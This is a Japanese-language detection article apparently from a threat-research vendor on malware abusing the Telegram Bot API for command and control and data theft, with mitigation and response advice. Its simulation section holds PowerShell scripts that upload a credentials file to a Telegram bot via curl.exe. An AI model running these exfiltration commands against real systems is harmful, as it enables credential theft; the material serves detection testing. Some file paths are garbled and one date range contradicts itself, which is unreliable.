SOC Prime Bias: 中程度

17 Dec 2025 14:33 UTC

検出と対応の年代記: テレグラムの悪用を探る

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
検出と対応の年代記: テレグラムの悪用を探る
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

この記事は、いくつかの脅威アクターが企業内でのコマンドアンドコントロール、データ抽出、および被害者の監視のためにTelegramのボットAPIやチャンネルを悪用している方法を説明しています。DeerStealer、Lumma Stealer、Raven Stealer、そしてトロイの木馬化されたXWormビルダーなどのマルウェアファミリーは、ボットトークンやチャンネルIDをコード化し、/sendMessageや/sendDocumentのようなエンドポイントを呼び出します。これには、Microsoft DefenderとSentinelの検出クエリが含まれており、不審なプロセスコマンドラインや api.telegram.orgへのトラフィックに重点を置いています。主要なガイダンスは、正当なTelegramの使用をベースライン化し、必要のない場所でAPIをブロックすることです。

調査

NVISOのSOCは2025年10月から2025年3月にかけて、Telegramが攻撃ライフサイクルの異なるポイントで使用された、4つの侵入試行を観察しました。この記事は、偽のキャプチャー誘導を使用して被害者を監視するLunar Spiderキャンペーン、curlを介してオペレーターに通知を送信するDeerStealer、TelegramチャンネルからC2の詳細を取得するLumma Stealer、アーカイブされたコレクションを抽出するRaven Stealer、そしてボットAPIを利用して両方の抽出とC2を行うXWormビルダーのキャンペーンを強調しています。アナリストはプロセスコマンドライン、ネットワークの行き先、および関連するファイル名を含むインジケーターを抽出しました。

緩和策

正常なTelegramの使用基準を確立し、それが必要ない環境でapi.telegram.orgへの外部アクセスをブロックします。APIへの接続を開始する珍しいプロセス(例えば、curl、powershell、wscript)を監視し、スクリプト化されたボットAPIの相互作用を調査します。telegram.exeを起動する既知のブラウザのような予想される動作を抑制するように検出を調整し、疑わしいバイナリまたは予想外のホストから発信されるロングポーリングまたはWebhookスタイルのリクエストを優先します。

応答

活動が検出された場合、影響を受けたエンドポイントを隔離し、不審なプロセスを停止し、DNS、プロキシ、およびネットワークテレメトリと共にコマンドライン引数を保存します。DeerStealerやRaven Stealerのようなキャンペーンに関連する後続のペイロードを特定するために、より深いフォレンジックスを実施します。漏洩したボットトークンを変更し、悪用されたTelegramチャンネルを無効にまたは取り消し、関連するインジケーターをブロックして拡散を抑制します。悪用が確認された場合は、Telegramの公式チャンネルを通じて報告をエスカレートし、再発防止のためにインシデントを記録してください。

攻撃フロー

シミュレーション実行

前提条件:テレメトリおよびベースラインの事前チェックがパスしている必要があります。

合理性:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の説明&コマンド:
    侵害されたWindowsホストを持つ敵は、収集された資格情報ファイル(creds.txt)を彼らが制御するTelegramボットに抽出したいと考えています。カスタムバイナリを保存するのを避けるために、ネイティブの curl.exe (Windows 10のオプション機能としてインストールされている)を使用してファイルを https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocumentにPOSTします。コマンドはPowerShellから実行され、プロセス生成イベントが“api.telegram.org”を含むコマンドラインを記録します。なぜなら、プロセスが curl.exeであるので、ルールのフィルタ(InitiatingProcessFileName: "telegram.exe")はアラートを抑制しません。

    # 変数(攻撃者が制御する値で置き換え)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # ファイルが存在することを確認(シミュレーション資格のダンプ)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # TelegramボットAPIを介した抽出を実行
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • 回帰テストスクリプト: 以下のスクリプトは正確な手順を再現し、自動BASランに適しています。

    #--------------------------------------------
    # 回帰テスト - Telegram APIの抽出
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # 一時ワークスペースを作成
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # シミュレーション資格ファイル
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # API URLを構築
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # 抽出を実行
    Write-Host "[*] $CredFileをTelegramに抽出中..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # 簡単な成功指標(配信を確認しません)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] 抽出コマンドが実行されました。"
    } else {
        Write-Error "[-] 抽出に失敗しました。"
    }
  • クリーンアップコマンド: 一時ファイルとディレクトリを削除し、オプションで残っている curl.exe のプロセスを終了します。

    # 一時アーティファクトをクリーンアップ
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] クリーンアップ完了。"